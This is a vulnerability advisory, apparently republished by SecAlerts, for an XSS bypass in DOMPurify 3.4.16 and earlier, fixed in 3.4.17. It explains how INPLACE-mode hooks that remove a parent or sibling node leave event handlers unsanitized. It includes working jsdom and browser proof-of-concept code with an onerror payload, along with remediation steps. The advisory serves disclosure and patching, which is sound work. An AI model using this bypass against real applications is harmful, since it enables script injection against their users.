GHSA-mrv2-3pqr-j5jr: XSS

Published Oct 22, 2026
·
Updated

Summary

The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an INPLACE hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an <img onerror> that was already loading fires after sanitize() returns.

The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In INPLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns." That does not hold when the detached node is not the hook's own node.

Tested versions

- 3.4.16 (latest) and main at 18f8f0e - also 3.4.15, 3.4.12 and 2.5.8

jsdom for the matrix below, and Chromium (Playwright) for the event actually firing.

Details

src/purify.ts line 2134 (dist/purify.cjs.js line 2009 in 3.4.16), handleHookDetachedNode():

js if (currentNode === root || getParentNode(currentNode) !== null) { return false; } if (INPLACE) { neutralizeSubtree(currentNode); }

It only checks whether currentNode lost its parent. When a hook removes currentNode.parentNode (or any ancestor), currentNode still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in DOMPurify.removed, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.

PoC (jsdom)

js const { JSDOM } = require('jsdom') const createDOMPurify = require('dompurify') const win = new JSDOM('<!doctype html><body></body>').window const doc = win.document

for (const mode of ['self', 'parent', 'nextSibling']) { const DOMPurify = createDOMPurify(win) doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' + '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>' const root = doc.getElementById('root') const evil = doc.getElementById('evil')

// app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling) DOMPurify.addHook('afterSanitizeAttributes', (node) => { if (node.getAttribute && node.getAttribute('class') === 'bad') { if (mode === 'self') node.remove() if (mode === 'parent') node.parentNode.remove() if (mode === 'nextSibling') node.nextElementSibling.remove() } })

DOMPurify.sanitize(root, { INPLACE: true }) console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror'))) }

Output on 3.4.16:

3.4.16 self onerror = null 3.4.16 parent onerror = "alert(1)" 3.4.16 nextSibling onerror = "alert(1)"

In self mode the walker still reaches the second image and strips onerror. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes and afterSanitizeAttributes.

PoC (browser)

The same thing in a real page, served from 127.0.0.1 and opened in Chromium:

html <!doctype html><meta charset=utf-8> <script src="purify.min.js"></script> <body><pre id=log></pre> <script> window.fired = []; function run(mode) { const D = DOMPurify(window); D.addHook('afterSanitizeAttributes', n => { if (n.getAttribute && n.getAttribute('class') === 'bad') { if (mode === 'parent') n.parentNode.remove(); if (mode === 'self') n.remove(); } }); const root = document.createElement('div'); document.body.appendChild(root); root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>'; D.sanitize(root, { INPLACE: true }); return root.outerHTML; } const a = run('self'), b = run('parent'); setTimeout(() => { document.getElementById('log').textContent = 'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired); }, 1500); </script>

Result on 3.4.16:

version=3.4.16 self out=<div><figure><img src="x"></figure><p>ok</p></div> parent out=<div><p>ok</p></div> fired=["parent"]

The returned tree is clean in both cases, but the handler on the detached image runs in the page for parent.

Impact

An app that uses INPLACE with a hook that removes a wrapper or a nearby element (for example "drop the whole <figure> if its image is not allowed") gets DOM XSS from attacker markup after sanitize() returns. It needs that kind of hook, so it falls under "input plus an application choice" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.

Suggested fix

Instead of only checking currentNode, check after each hook call whether anything outside the current node was detached. Two simple options:

- before calling a hook in INPLACE mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under root - or, after the walk, neutralize every element that was in the original tree but is no longer connected to root (for example by collecting the elements before the walk)

Affected Software

1 affected componentFixes available
npm/dompurify<=3.4.16
3.4.17

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/dompurify to a version that resolves this vulnerability.

    Fixed in 3.4.17
  2. Compensating control

    Update the IN_PLACE hook handling so that after each hook call it detects nodes outside currentNode that were detached, including the next node to be visited and currentNode's ancestors, and neutralizes any detached subtrees. Alternatively, collect all elements in the original tree before the walk and neutralize every element no longer connected to root after the walk.

Event History

Oct 22, 2026
Advisory Published
via GitHub·04:24 PM
Data Sourced
via GitHub·04:24 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Does upgrading to version 3.4.16 address this issue?

No. The issue was tested in 3.4.16, which was the latest version cited, and in the main branch at commit 18f8f0e. It was also tested in 3.4.15, 3.4.12, and 2.5.8.

2

What conditions are required for exploitation?

The sanitizer must be used in IN_PLACE mode with a hook that detaches a node other than the node on which the hook was called, such as the current node’s parent or an unvisited sibling. The detached subtree must contain event-bearing content, such as an image that was already loading.

3

How can I determine whether my integration is exposed?

Review hooks used with IN_PLACE sanitization for mutations that remove an ancestor of the current node or a sibling that has not yet been visited. Those mutations can leave the detached subtree unwalked and its event handlers intact after sanitize() returns.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203